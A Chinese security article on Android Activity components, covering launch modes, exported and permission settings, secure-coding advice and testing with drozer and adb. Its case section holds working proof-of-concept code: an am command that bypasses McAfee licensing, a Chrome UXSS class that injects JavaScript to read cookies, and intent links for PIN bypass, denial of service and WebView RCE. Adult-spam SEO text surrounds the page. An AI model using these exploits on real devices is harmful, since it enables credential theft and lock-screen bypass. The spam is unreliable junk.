精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Android Activtity Security

移動開發
一個應用程序可以只有一個activity,或如剛才提到的短信應用程序那樣,包含很多個。每個activity的作用,以及其數目,自然取決于應用程序及其設計。一般情況下,總有一個應用程序被標記為用戶在應用程序啟動的時候第一個看到的。從一個activity轉向另一個的方式是靠當前的activity啟動下一個。

Android每一個Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本組件所組成,其中Activity是實現應用程序的主體,它承擔了大量的顯示和交互工作,甚至可以理解為一個"界面"就是一個Activity。

Activity是為用戶操作而展示的可視化用戶界面。比如說,一個activity可以展示一個菜單項列表供用戶選擇,或者顯示一些包含說明的照片。一個短消息應用程序可以包括一個用于顯示做為發送對象的聯系人的列表的activity,一個給選定的聯系人寫短信的activity以及翻閱以前的短信和改變設置的activity。盡管它們一起組成了一個內聚的用戶界面,但其中每個activity都與其它的保持獨立。每個都是以Activity類為基類的子類實現。

一個應用程序可以只有一個activity,或如剛才提到的短信應用程序那樣,包含很多個。每個activity的作用,以及其數目,自然取決于應用程序及其設計。一般情況下,總有一個應用程序被標記為用戶在應用程序啟動的時候第一個看到的。從一個activity轉向另一個的方式是靠當前的activity啟動下一個。

 

0x01 知識要點

 

參考:http://developer.android.com/guide/components/activities.html

生命周期

啟動方式

顯示啟動

配置文件中注冊組件

 

  1. <activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.MAIN" /> 
  4. <category android:name="android.intent.category.LAUNCHER" /> 
  5. </intent-filter> 
  6. </activity> 

直接使用intent對象指定application以及activity啟動

  1. Intent intent = new Intent(this, ExampleActivity.class); 
  2. startActivity(intent); 

未配置intent-filter的action屬性,activity只能使用顯示啟動。

私有Activity推薦使用顯示啟動。

隱式啟動

Intent intent = new Intent(Intent.ACTION_SEND);

 

intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);

 

startActivity(intent);

 

加載模式launch mode

Activity有四種加載模式:

standard:默認行為。每次啟動一個activity,系統都會在目標task新建一個實例。

 

singleTop:如果目標activity的實例已經存在于目標task的棧頂,系統會直接使用該實例,并調用該activity的onNewIntent()(不會重新create)

 

singleTask:在一個新任務的棧頂創建activity的實例。如果實例已經存在,系統會直接使用該實例,并調用該activity的onNewIntent()(不會重新create)

 

singleInstance:和"singleTask"類似,但在目標activity的task中不會再運行其他的activity,在那個task中永遠只有一個activity。

 

設置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 屬性:

 

  1. <activity android:name="ActB" android:launchMode="singleTask"></activity> 

Activity launch mode 用于控制創建task和Activity實例。默認“standard“模式。Standard模式一次啟動即會生成一個新的Activity實例并且不會創建新的task,被啟動的Activity和啟動的Activity在同一個棧中。當創建新的task時,intent中的內容有可能被惡意應用讀取所以建議若無特別需求使用默認的standard模式即不配置launch mode屬性。launchMode能被Intent 的flag覆蓋。

taskAffinity

android系統中task管理Activity。Task的命名取決于root Activity的affinity。

默認情況下,app中的每個Activity都使用app的包名作為affinity。而Task的分配取決于app,故默認情況下一個app中所有的Activity屬于同一task。要改變task的分配,可以在AndroidManifest.xml文件中設置affinity的值,但是這樣做會有不同task啟動Activity攜帶的intent中的信息被其他應用讀取的風險。

FLAG_ACTIVITY_NEW_TASK

intent flag中一個重要的flag

啟動Activity時通過setFlags()或者addFlags()方法設置intent的flags屬性能夠改變launch mode,FLAG_ACTIVITY_NEW_TASK標記代表創建新的task(被啟動的Activity既不在前臺也不在后臺)。FLAG_ACTIVITY_MULTIPLE_TASK標記能和FLAG_ACTIVITY_NEW_TASK同時設置。這種情況下必會創建的task,所以intent中不應攜帶敏感數據。

Task

stack:Activity承擔了大量的顯示和交互工作,從某種角度上將,我們看見的應用程序就是許多個Activity的組合。為了讓這許多 Activity協同工作而不至于產生混亂,Android平臺設計了一種堆棧機制用于管理Activity,其遵循先進后出的原則,系統總是顯示位于棧頂的Activity,位于棧頂的Activity也就是最后打開的Activity。

Task:是指將相關的Activity組合到一起,以Activity Stack的方式進行管理。從用戶體驗上講,一個“應用程序”就是一個Task,但是從根本上講,一個Task是可以有一個或多個Android Application組成的

如果用戶離開一個task很長時間,系統會清理棧頂以下的activity,這樣task被從新打開時,棧頂activity就被還原了。

Intent Selector

多個Activity具有相同action時,當此調用此action時會彈出一個選擇器供用戶選擇。

權限

android:exported

一個Activity組件能否被外部應用啟動取決于此屬性,設置為true時Activity可以被外部應用啟動,設置為false則不能,此時Activity只能被自身app啟動。(同user id或者root也能啟動)

沒有配置intent-filter的action屬性exported默認為false(沒有filter只能通過明確的類名來啟動activity故相當于只有程序本身能啟動),配置了intent-filter的action屬性exported默認為true。

exported屬性只是用于限制Activity是否暴露給其他app,通過配置文件中的權限申明也可以限制外部啟動activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默認值。低風險權限,只要申請了就可以使用,安裝時不需要用戶確認。

dangerous:像WRITE_SETTING和SEND_SMS等權限是有風險的,因為這些權限能夠用來重新配置設備或者導致話費。使用此protectionLevel來標識用戶可能關注的一些權限。Android將會在安裝程序時,警示用戶關于這些權限的需求,具體的行為可能依據Android版本或者所安裝的移動設備而有所變化。

signature:這些權限僅授予那些和本程序應用了相同密鑰來簽名的程序。

signatureOrSystem:與signature類似,除了一點,系統中的程序也需要有資格來訪問。這樣允許定制Android系統應用也能獲得權限,這種保護等級有助于集成系統編譯過程。

  1. <!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> 
  2. <permission 
  3. android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" 
  4. android:protectionLevel="signature" /> 
  5. <application 
  6. android:icon="@drawable/ic_launcher" 
  7. android:label="@string/app_name" > 
  8. <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> 
  9. <activity 
  10. android:name=".ProtectedActivity" 
  11. android:exported="true" 
  12. android:label="@string/app_name" 
  13. android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > 
  14. <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> 
  15. </activity> 
  16.  
  17. 關鍵方法 
  18.  
  19. onCreate(Bundle savedInstanceState) 
  20. setResult(int resultCode, Intent data) 
  21. startActivity(Intent intent) 
  22. startActivityForResult(Intent intent, int requestCode) 
  23. onActivityResult(int requestCode, int resultCode, Intent data) 
  24. setResult (int resultCode, Intent data) 
  25. getStringExtra (String name) 
  26. addFlags(int flags) 
  27. setFlags(int flags) 
  28. setPackage(String packageName) 
  29. getAction() 
  30. setAction(String action) 
  31. getData() 
  32. setData(Uri data) 
  33. getExtras() 
  34. putExtra(String name, String value) 

0x02 Activity分類

Activity類型和使用方式決定了其風險和防御方式,故將Activity分類如下: Private、Public、Parter、In-house

private activity

私有Activity不應被其他應用啟動相對是安全的

創建activity時:

1、不指定taskAffinity //task管理activity。task的名字取決于根activity的affinity。默認設置中Activity使用包名做為affinity。task由app分配,所以一個應用的Activity在默認情況下屬于相同task。跨task啟動Activity的intent有可能被其他app讀取到。

2、不指定lunchMode //默認standard,建議使用默認。創建新task時有可能被其他應用讀取intent的內容。

3、設置exported屬性為false

4、謹慎處理從intent中接收的數據,不管是否內部發送的intent

5、敏感信息只能在應用內部操作

使用activity時:

6、開啟activity時不設置FLAG_ACTIVITY_NEW_TASK標簽 //FLAG_ACTIVITY_NEW_TASK標簽用于創建新task(被啟動的Activity并未在棧中)。

7、開啟應用內部activity使用顯示啟動的方式

8、當putExtra()包含敏感信息目的應是app內的activity

9、謹慎處理返回數據,即可數據來自相同應用

 

public activity

 

公開暴露的Activity組件,可以被任意應用啟動

創建activity:

1、設置exported屬性為true

2、謹慎處理接收的intent

3、有返回數據時不應包含敏感信息

使用activity:

4、不應發送敏感信息

5、當收到返回數據時謹慎處理

Parter、in-house部分參閱http://www.jssec.org/dl/android_securecoding_en.pdf

安全建議

app內使用的私有Activity不應配置intent-filter,如果配置了intent-filter需設置exported屬性為false。

 

使用默認taskAffinity

 

使用默認launchMode

 

啟動Activity時不設置intent的FLAG_ACTIVITY_NEW_TASK標簽

 

謹慎處理接收的intent以及其攜帶的信息

 

簽名驗證內部(in-house)app

 

當Activity返回數據時候需注意目標Activity是否有泄露信息的風險

 

目的Activity十分明確時使用顯示啟動

 

謹慎處理Activity返回的數據,目的Activity返回的數據有可能是惡意應用偽造的

 

驗證目標Activity是否惡意app,以免受到intent欺騙,可用hash簽名驗證

 

When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection

 

盡可能的不發送敏感信息,應考慮到啟動public Activity中intent的信息均有可能被惡意應用竊取的風險

 

0x04 測試方法

查看activity:

反編譯查看配置文件AndroidManifest.xml中activity組件(關注配置了intent-filter的及未設置export=“false”的)

 

直接用RE打開安裝后的app查看配置文件

 

Drozer掃描:run app.activity.info -a packagename

 

動態查看:logcat設置filter的tag為ActivityManager

 

啟動activity:

adb shell:am start -a action -n package/componet

 

drozer: run app.activity.start --action android.action.intent.VIEW ...

 

自己編寫app調用startActiviy()或startActivityForResult()

 

瀏覽器intent scheme遠程啟動:http://drops.wooyun.org/tips/2893

 

0x05 案例

案例1:繞過本地認證

WooYun: 華為網盤android客戶端本地密碼繞過(非root也可以)

繞過McAfee的key驗證,免費激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒絕服務

WooYun: 快玩瀏覽器android客戶端本地拒絕服務

WooYun: 雪球android客戶端本地拒絕服務漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings應用存在必現崩潰問題(可造成拒絕服務攻擊) (涉及fragment)

案例3:界面劫持

WooYun: android利用懸浮窗口實現界面劫持釣魚盜號

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允許惡意應用注入js代碼到任意域. 部分 AndroidManifest.xml配置文件如下

  1. <activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.VIEW" /> 
  4. <category android:name="android.intent.category.DEFAULT" /> 
  5. </intent-filter> 
  6. </activity> 
  7.  
  8. Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未設置 "android:exported" 為 "false". 惡意應用先調用該類并設置data為” http://google.com” 再次調用時設置data為惡意js例如'javascript:alert(document.cookie)', 惡意代碼將在http://google.com域中執行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通過Android api或者am(activityManager)打開. POC如下 
  9.  
  10. public class TestActivity extends Activity { 
  11. @Override 
  12. public void onCreate(Bundle savedInstanceState) { 
  13. super.onCreate(savedInstanceState); 
  14. Intent i = new Intent(); 
  15. ComponentName comp = new ComponentName( 
  16. "com.android.chrome"
  17. "com.google.android.apps.chrome.SimpleChromeActivity"); 
  18. i.setComponent(comp); 
  19. i.setAction("android.intent.action.VIEW"); 
  20. Uri data = Uri.parse("http://google.com"); 
  21. i.setData(data); 
  22.  
  23. startActivity(i); 
  24.  
  25. try { 
  26. Thread.sleep(5000); 
  27. catch (Exception e) {} 
  28.  
  29. data = Uri.parse("javascript:alert(document.cookie)"); 
  30. i.setData(data); 
  31.  
  32. startActivity(i); 

案例5:隱式啟動intent包含敏感數據

暫缺可公開案例,攻擊模型如下圖。

案例6:Fragment注入(繞過PIN+拒絕服務)

Fragment這里只提一下,以后可能另寫一篇。

  1. <a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"
  2. 16、bypass Pin android 3.0-4.3 (selector) 
  3. </a><p> 
  4.  
  5. <a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"
  6. 17、fragment dos android 4.4 (selector) 
  7. </a><p> 

案例7:webview RCE

  1. <a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"

 

 

 

 

責任編輯:chenqingxiang
相關推薦

2021-04-23 07:33:10

SpringSecurity單元

2021-08-29 18:36:57

項目

2012-11-30 10:29:47

2010-09-27 15:43:32

2023-10-10 22:24:16

2009-10-15 15:52:53

2022-08-30 08:50:07

Spring權限控制

2022-08-30 08:55:49

Spring權限控制

2022-08-15 08:42:46

權限控制Spring

2023-04-10 11:41:15

2022-08-30 08:36:13

Spring權限控制

2022-06-16 10:38:24

URL權限源代碼

2022-08-15 08:45:21

Spring權限控制

2009-05-18 09:19:55

CCIE安全考試面試

2009-08-28 09:45:07

最新思科認證CCNA Securi

2022-08-30 08:43:11

Spring權限控制

2012-09-13 14:46:44

2022-08-31 11:15:07

data securBig Data

2021-06-07 14:06:19

Spring SecuCSRF防御

2021-04-28 06:26:11

Spring Secu功能實現源碼分析
點贊
收藏

51CTO技術棧公眾號

91热门视频在线观看| 久久精品99久久无色码中文字幕| 一区二区三区在线观看国产 | 亚洲承认视频| 国产欧美综合在线| 91香蕉亚洲精品| 国产成年人免费视频| 国产精品免费大片| 日韩欧美一区二区久久婷婷| 欧美三级一级片| 欧美日本高清| av中文一区二区三区| 国产原创欧美精品| 日韩乱码一区二区| 99视频精品全部免费在线视频| 亚洲成人xxx| 欧美wwwwwww| 性欧美xxx69hd高清| 亚洲日本乱码在线观看| 欧美欧美一区二区| 精品国产av鲁一鲁一区| 久久综合五月| 久久久在线免费观看| 中文天堂资源在线| 天堂资源在线亚洲| 日韩视频中午一区| 欧美三级理论片| 免费成人在线电影| 亚洲美女偷拍久久| 亚洲午夜在线观看| 欧美777四色影视在线| 国产福利精品一区二区| 国产精品免费在线免费 | 这里只有精品在线观看视频| 激情亚洲小说| 色噜噜狠狠一区二区三区果冻| 国产一区二区三区乱码| 国产午夜精品久久久久免费视| 国产亚洲欧美一级| 精品一区日韩成人| 日本高清视频网站| 国产91露脸合集magnet| 91精品在线一区| 国产一区二区在线播放视频| 久久精品男女| 欧美一区二区.| 日本在线视频免费| 亚洲国产精品一区制服丝袜| 欧美乱妇高清无乱码| av最新在线观看| 99久久亚洲精品蜜臀| 中文字幕欧美亚洲| 国产精品美女高潮无套| 国产91精品对白在线播放| 亚洲精品美女久久 | 91丨porny丨国产| 国产视频精品网| 色香蕉在线视频| 成人国产视频在线观看| 国产精品一区二区不卡视频| 免费av一级片| 91在线视频18| 欧美 日韩 国产在线| 亚洲人午夜射精精品日韩| 91丨porny丨首页| 欧美亚洲另类在线一区二区三区| 免费a在线观看| 国产蜜臀av在线一区二区三区| 日韩资源av在线| 在线激情网站| 亚洲欧美另类在线| 国产资源在线免费观看| 丁香高清在线观看完整电影视频| 亚洲成人av电影| 精品一区二区中文字幕| 日韩在线短视频| 欧美日韩综合在线免费观看| 欧美一级视频在线| 中文字幕一区二区三区中文字幕| 精品国产欧美一区二区| 国产中文字幕一区二区| 精品国产乱码久久久| 久久精品电影网| 久久综合亚洲色hezyo国产| 国产日韩欧美三区| 国产99久久精品一区二区永久免费| 乱子伦一区二区三区| 国内精品国产成人| 久久国产精品-国产精品| 国外av在线| 亚洲欧美另类小说| 黄色一级在线视频| 久久青草视频| 欧美精品一区二区三| 美女脱光内衣内裤| 一本到12不卡视频在线dvd| 久久免费国产精品1| 久久久久久久久久一级| 国产乱人伦偷精品视频不卡| 久久人人九九| 免费在线视频欧美| 精品久久久久久久中文字幕 | 亚洲三区视频| 欧美hdxxx| 欧美在线影院一区二区| 久久国产免费视频| 精品国产成人| 97视频在线观看成人| 亚洲中文字幕在线观看| 99在线精品免费| 国产精品波多野结衣| 免费高潮视频95在线观看网站| 7777精品伊人久久久大香线蕉经典版下载 | 91精品国模一区二区三区| 国产精品久久无码| 亚洲精品888| 国产成人欧美在线观看| 性欧美18一19性猛交| 中文字幕不卡在线播放| 精品视频在线观看一区| 国产精品日本一区二区三区在线| 日韩成人中文字幕| 久久久综合久久| 精一区二区三区| 日韩中文一区二区三区| 自拍网站在线观看| 欧美精品一区二区久久婷婷| 艳妇荡乳欲伦69影片| 免费高清视频精品| 欧美激情导航| av在线最新| 日韩精品一区在线| 国产精品视频一区二区三| 日本不卡视频在线观看| 免费av一区二区三区| 第一中文字幕在线| 精品对白一区国产伦| avove在线播放| 久久99精品久久久久久久久久久久 | 亚洲在线视频播放| 亚洲国产成人在线| 日本男人操女人| 亚洲丝袜美腿一区| 欧美性资源免费| 香蕉视频911| 亚洲福利国产精品| 国产chinese中国hdxxxx| 欧美在线不卡| 亚洲一区中文字幕在线观看| 免费网站免费进入在线| 欧美色视频在线| 大吊一区二区三区| 老汉av免费一区二区三区| 日韩欧美在线观看强乱免费| 天天免费亚洲黑人免费| 亚洲视频在线视频| 一级一级黄色片| 国产精品―色哟哟| 欧美老熟妇喷水| 福利电影一区| 欧美亚洲一区在线| 久久国产精品高清一区二区三区| 色综合 综合色| 国产午夜福利一区| 久久99精品国产麻豆婷婷| 中文字幕在线观看一区二区三区| 91麻豆精品国产综合久久久 | 懂色av懂色av粉嫩av| 国产美女一区二区| www.国产在线视频| 色愁久久久久久| 国产精品69久久| 婷婷免费在线视频| 日韩女优毛片在线| 欧美不卡视频在线观看| 久久综合狠狠综合久久综合88| 国产性生交xxxxx免费| 999精品视频| 91视频网页| 午夜激情电影在线播放| 色99之美女主播在线视频| 99精品在线看| 欧美日韩中文字幕| 懂色av粉嫩av蜜臀av一区二区三区| 国产精品羞羞答答xxdd| av在线播放天堂| 极品美女一区二区三区| 亚洲综合自拍一区| 超碰超碰人人人人精品| 久久天天躁狠狠躁夜夜躁2014 | 成人精品小蝌蚪| 日日碰狠狠丁香久燥| 欧美国产另类| 免费看国产精品一二区视频| 白嫩亚洲一区二区三区| 538国产精品一区二区在线 | 国产精品网曝门| 熟女人妻一区二区三区免费看| 美女视频一区免费观看| 国产资源第一页| 免费成人av| 91视频婷婷| 福利一区二区| 97在线观看视频| 久草资源在线观看| 亚洲欧美精品一区| 精品国产免费无码久久久| 色综合久久66| 日韩免费av片| 中文字幕一区在线观看视频| 亚洲av成人片色在线观看高潮 | 欧美日韩在线视频首页| 免费国产羞羞网站美图| 久久精品视频一区二区三区| 欧美成人精品一区二区综合免费| 奇米777欧美一区二区| 成人午夜视频在线观看免费| 91精品福利| 欧美在线视频一区二区三区| 大型av综合网站| 成人精品一区二区三区| 亚洲精品.com| 欧美亚州一区二区三区| 激情av在线播放| 久久这里只有精品99| 1pondo在线播放免费| 亚洲视频在线观看| 美女毛片在线看| 精品国产免费一区二区三区四区 | 亚洲精品乱码久久久久久按摩观| 国产高潮流白浆喷水视频| 欧美男人的天堂一二区| 亚洲精品国产欧美在线观看| 色综合婷婷久久| 中文字幕亚洲高清| 精品成人国产在线观看男人呻吟| 国产亚洲精品久久久久久无几年桃| 亚洲欧洲精品天堂一级| 日本免费网站视频| 国产精品久久久久影院色老大| 性高潮久久久久久久| 久久婷婷国产综合精品青草| 黄色短视频在线观看| 99视频精品全部免费在线| 欧美做受高潮中文字幕| 国产99久久久国产精品潘金网站| 男生和女生一起差差差视频| 亚洲综合免费视频| 国产精品视频在线看| 亚洲一级片在线播放| 国产精品天干天干在观线| 在线观看亚洲大片短视频| 国产精品美女一区二区| 99热这里只有精品4| 中文字幕日韩精品一区| 国产第一页浮力| 日韩理论片网站| 日韩黄色免费观看| 亚洲影院免费观看| 日本三级网站在线观看| 欧美日韩性视频| 久久国产黄色片| 日本韩国视频一区二区| 亚洲中文无码av在线| 欧美日韩一区二区欧美激情| 亚洲中文一区二区三区| 日韩午夜在线影院| 成人午夜福利视频| 亚洲精品中文字幕有码专区| 岛国在线大片| 久久精品视频va| heyzo高清中文字幕在线| 97久久国产精品| 蜜桃视频成人m3u8| 亚洲一区二区三区久久| 大陆精大陆国产国语精品| 欧美h视频在线| 97精品国产福利一区二区三区| 亚洲一区 在线播放| 99在线观看免费视频精品观看| 激情综合网俺也去| 国产在线一区二区| 男人网站在线观看| 国产精品色在线观看| 国产性猛交普通话对白| 色av综合在线| 国产黄频在线观看| 亚洲乱码国产乱码精品精| 日本中文字幕在线2020| 欧美激情精品久久久久| 色香欲www7777综合网| 91精品国产综合久久久久久丝袜 | 阿v视频在线观看| 国产精品第8页| 欧州一区二区三区| 欧美日韩成人一区二区三区| 亚洲国产精品成人| 国产中文字幕免费观看| 国内成+人亚洲+欧美+综合在线| 中文字幕影片免费在线观看| 国产精品久久二区二区| 五月婷婷激情网| 制服丝袜在线91| 欧洲免费在线视频| 欧美国产激情18| 免费高清视频在线一区| 国产区二精品视| 婷婷激情图片久久| 国产成人精品无码播放| 国产成人高清在线| 欧美成人久久久免费播放| 天天亚洲美女在线视频| 国产精品探花视频| 一区二区三区视频免费| 草草视频在线| 99久久伊人精品影院| 成人一区二区| 久久久久狠狠高潮亚洲精品| 成人午夜又粗又硬又大| 亚洲综合久久av一区二区三区| 一本到三区不卡视频| 天天干免费视频| 欧美精品在线观看| 色综合久久久| 五月天亚洲综合小说网| 亚洲在线国产日韩欧美| 91精品又粗又猛又爽| 依依成人精品视频| 国产又粗又大又爽| 一区二区在线视频| 裤袜国产欧美精品一区| 久久本道综合色狠狠五月| 亚洲国产欧美国产综合一区| 免费观看黄网站| 亚洲欧洲性图库| 国产精品日韩无码| 色偷偷偷亚洲综合网另类 | 成人午夜激情免费视频| av在线不卡顿| 亚洲老女人av| 中文成人综合网| 中文字幕免费观看视频| 这里精品视频免费| 91精品店在线| 亚洲人一区二区| 久久av中文字幕片| 久久噜噜色综合一区二区| 欧美日韩国产另类一区| 日本在线观看| 96sao精品视频在线观看| 午夜精品视频一区二区三区在线看| 一女二男3p波多野结衣| 国产精品你懂的| 91成人一区二区三区| xxx成人少妇69| 欧美一区在线观看视频| 国产一区二区片| 成人高清在线视频| 久久免费激情视频| 亚洲人成人99网站| 成人全视频免费观看在线看| 自拍偷拍一区二区三区| 国产精品18久久久久久vr| 久久久99精品| 精品亚洲男同gayvideo网站 | 欧美成人一品| 一级黄色免费视频| 黑人狂躁日本妞一区二区三区| 久久久久久青草| 国产一区二区在线免费视频| 中文字幕日韩一区二区不卡| av电影在线播放| 欧美性猛交xxxxx水多| yiren22综合网成人| 91热精品视频| 99精品免费网| 日本美女bbw| 日韩欧美色综合网站| 漫画在线观看av| 永久域名在线精品| 成人手机电影网| 中国女人一级一次看片| 欧美多人爱爱视频网站| 蜜桃一区二区三区| 人妻换人妻仑乱| 色综合久久九月婷婷色综合| 日本中文字幕电影在线免费观看 | 69视频在线播放| 欧美精品一区二区三区精品| 久久综合桃花网| 欧美日韩国产精品一区二区不卡中文 | 在线日韩三级| 99热亚洲精品| 国产精品蜜臀在线观看| 日本高清视频免费看| 91精品久久久久久久久久入口| av成人黄色| 天堂网avav| 亚洲天堂av网| 九九热播视频在线精品6|